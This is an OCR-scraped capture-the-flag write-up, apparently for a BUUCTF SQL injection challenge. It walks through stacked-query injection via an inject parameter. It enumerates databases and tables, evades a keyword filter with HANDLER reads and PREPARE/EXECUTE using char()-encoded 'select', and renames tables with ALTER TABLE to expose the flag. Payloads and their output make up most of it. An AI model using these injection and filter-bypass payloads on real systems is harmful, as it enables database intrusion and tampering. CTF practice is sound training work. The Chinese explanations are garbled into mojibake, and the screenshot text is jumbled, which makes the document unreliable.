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BMFEXRERHIRESE, Rif—0i5: ARNRSR—A

=1 =550
array (2) {
[o]=>
string (1) "1”
[11=>
string(7) “hahahah”
}
B O EXEHAMEEENAE of =
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1. show databases; //‘E.7 T8 EidE

2. show tables; // BT E R4

o
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3. show columns from [E#£]1 ; /| B NFELEFFIER

4. desc [R#&Z]1; /| BREHANREER
array (1) {
[o]=>

string(11) “ctftraining”

array (1) {
[ol=>
string(18) “information_schema”

array (1) {
[ol=
string(d) "mysql”

array (1) {
[0]=

string (18) “performance schema”

array (1) {
[o]l=>
string(9) “supersqli”

array (1) {
[ol=>
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@ Load URL http://fe144a168-c157-446d-a63d-f8078d2316ad.node4.buuoj.cn/?inject=1";
; show databases;
% split URL
» | Execute
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array(2) {
[0]=>
string (1) “17
[1]1=
string (7) “hahahah”

array (1) { \
[EHAEER

[o]=>
string(16) "1919810931114514"

KR A IflagfEiX N RE

array (1) {
[ol=
string () “words”
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iy Load URL http://e144a168-c157-446d-a63d-f8078d2316ad.node4.buuoj.cn/?inject=1";
show tables; g

gg Split URL Eﬂjﬁiﬁig
[ Postdata [ Referer [] UserAgent (] Cookles  Clear Al

FEXEMELEERNIIRES S B°1919810931114514" . XA ZAMBUEENRLE R

i [1 =)

array(2) {
[ol=>
string (1) “1”
[11=
string(7) “hahahah”

g] = X
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array (6) {
[ol=>
string (4] “flag”
[11=>
string(14) “varchar (100)”
[2]=>
string(2) “NO”
[31=>
string(0)
[41=
NULL
[5]=>
string(0)
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i Load URL http://e144a168-c157-446d-a63d-f8078d2316ad.node4.buuoj.cn/?inject=1";

) Spit RL show columns from "1819810931114514; \ /\
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B ZFlagiyREX N REH
[] Postdata [] Referer [ User Agent [ Cookies Clear All

v

0l -+ X

Contribute now! HackBar v2



T, BF— AL XETET HEIE A X, select, update, delete, drop, insert, where. FHRAX S KIME

Ho
XEHE) FWEE) BV FRE BEE) IED #HBH) _ = 54
V' BUUCTF x easy sql X +
&« C o QO 8 ecOf46df-471d-426a-a214-10b7045d569h.noded.buucj.cn/?inject=-1" union select database() # B o Y 1 e & =
Domermss @ izt =AML cTreEm % EE— @ EEEiE [@ php_mt_seed - PHP .. Oemisk rmss
FERXEEWRIRSE, RQiR—0iE: ARNZER—A0]
B FHEIR CIAREIE, R ih: H=z2 4B
&1 =500
return| preg_match(”/select|update|delete drop|insert|where|\. /i”, $inject) ;
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4 Load URL http://ec0f46df-471d-426a-a214-10b7045d569b.node4.buuoj.cn/?inject=-1" union select database() #

§ spiit URL

») Execute |
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MySQL # & if] i& fJhandler:

handler [##£&]1 open; /| f7IFFHEAF

1
read first || next; // EEEEREFE—1TEE T —1THIEHE

2. handler [#£4%]

3. handler [£4) close; // KWZFE

Hi Tflag/27E 1919810931114514 XMRE (ERIXEHM KRBT SRLIMET) , FrULEE:

open

read first
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V' BUUCTF X easy sql b aF
&« C @ Q8 ec0f46df-471d-426a-a214-10b7045d569b.node4.buuoj.cn/?inject="1"handler "1919810931114514" o y B o a8 =
D) iEsshs @ FELR [ HARE o CTRETAR &% BE—T G EE@F [6 php_mt seed - PHP .. Oemiat Lross
~
a1 | iEarE |
array(2) {
[ol=>
string (1) “17
[1]=>
string(7) “hahahah”
}
array (1) {
[o]=>
string(42) [ "flag {626ab3e1-1130-4957-8751-c6c2ch03237d} "I
v
W D=8 DeHs DESE NRE (ress Quwe Oar B e f AEsSms 8 wEes @ HackBar @ Max HackBar @ e X
Encryption ~ Encoding + SQL v XSS~ Other v Contribute now! HackBar v2
& Load URL hitp://ec0i46df-47 1d-426a-a214-10b7045d569b.node4.buuoj.cn/?inject=1"
) handler 1919810931114514" open;
B SPMURL | pandler “1919810931114514" read fist;
‘ handler 1919810931114514" close;
») Execute | Yy
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BB
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1. PREPARE [BHEX4]
2. EXECUTE [B®EX4]

FROM [ HE XHISQLE#IEA] ;

E)

3. DEALLOCATE PREPARE [HEX4] ;

Pt LL3X BB 2 )7 A AT DA

PREPARE Hack SQL FROM select flag from

EXECUTE
DEALLOCATE

Hack_SQL

PREPARE Hack_SQL
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V' BUUCTF X easy sql X ar - jul X
<~ C @ Q8 ec0f46df-471d-426a-a214-10b7045d569b.node4.buucj.cn/?inject=1'; PREPARE Hack SQL FROM s B9 r B e o =
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1 || i=zre |
return preg_match(”/select update delete|drop|insert where|\./i”, $inject);
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PREPARE Hack_SQL FROM selecifflag from “1919810931114514;

& Load UR] hﬁp:”ecoMSdM?1d_4268_32ii -i II7045d589b.n0de4.buu0j.cn/?inject=‘l‘;
il
% Spit URL EXECUTE Hack_SQL ;

DEALLOCATE PREPARE Hack_SQL;
») Execute y
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PREPARE Hack_SQL from concat(
EXECUTE Hack_SQL;
DEALLOCATE PREPARE Hack_SQL;

PREPARE Hack_SQL from concat(char(115,101,108,101,99,116),
EXECUTE Hack_SQL;
DEALLOCATE PREPARE Hack_SQL;#

HAiX B 115,101,108,101,99,116 F ¥ Nasciiig it & select

+ 33k 1l £t Asciif
97 a
98 b
99 c
100 d
101 e
102 f
103 g
104 h
105 i
106 j
107 k

108



+ 32k 1l 3t Asciif

109 m
110 n
111 o]
112 p
113 q
114 r
115 S
116 t
117 u
118 v
119 w
120 X
121 y
122 z

BB =
F T B g SR AL 2 8 B B8R B words, 1B 2 flagZE B8 Z1919810931114514 B, FFH AT LIEN G & FISQLEHIEA]N: select
* from words where id= [/R&IARIid]

1. BT CABRATT 75 B 50 B0 Eword s UL B O 08 B 44
2. FHiEHIEEE19198109311145148 4 Awords
3. JEHI (&R 1919810931114514%0HE FE 5 Btflag i & Aid

B LLiX B i payload 7] LA A :

1';
alter table words rename to wordsl;
alter table rename to words;

alter table words change flag id varchar(100);
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2

array (1) { @ \

[o]=> = A _ =g =

string(42) “flag{3ac3b7b4-b237-4d22-9313-bb9le7d553a7} " BSGeBEEAT or 1=1 #E!}LEIL,{$¢UfIagT
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g Load URL http://ee663ac0-2{17-4f7c-b6dc-4bef37b9edde.noded.buuoj.cn/?inject=1";
alter table words rename to words1;
& SPUURL | Glter table "1919810931114514 rename to words; @

3} Execute alter table words change flag id varchar(100);
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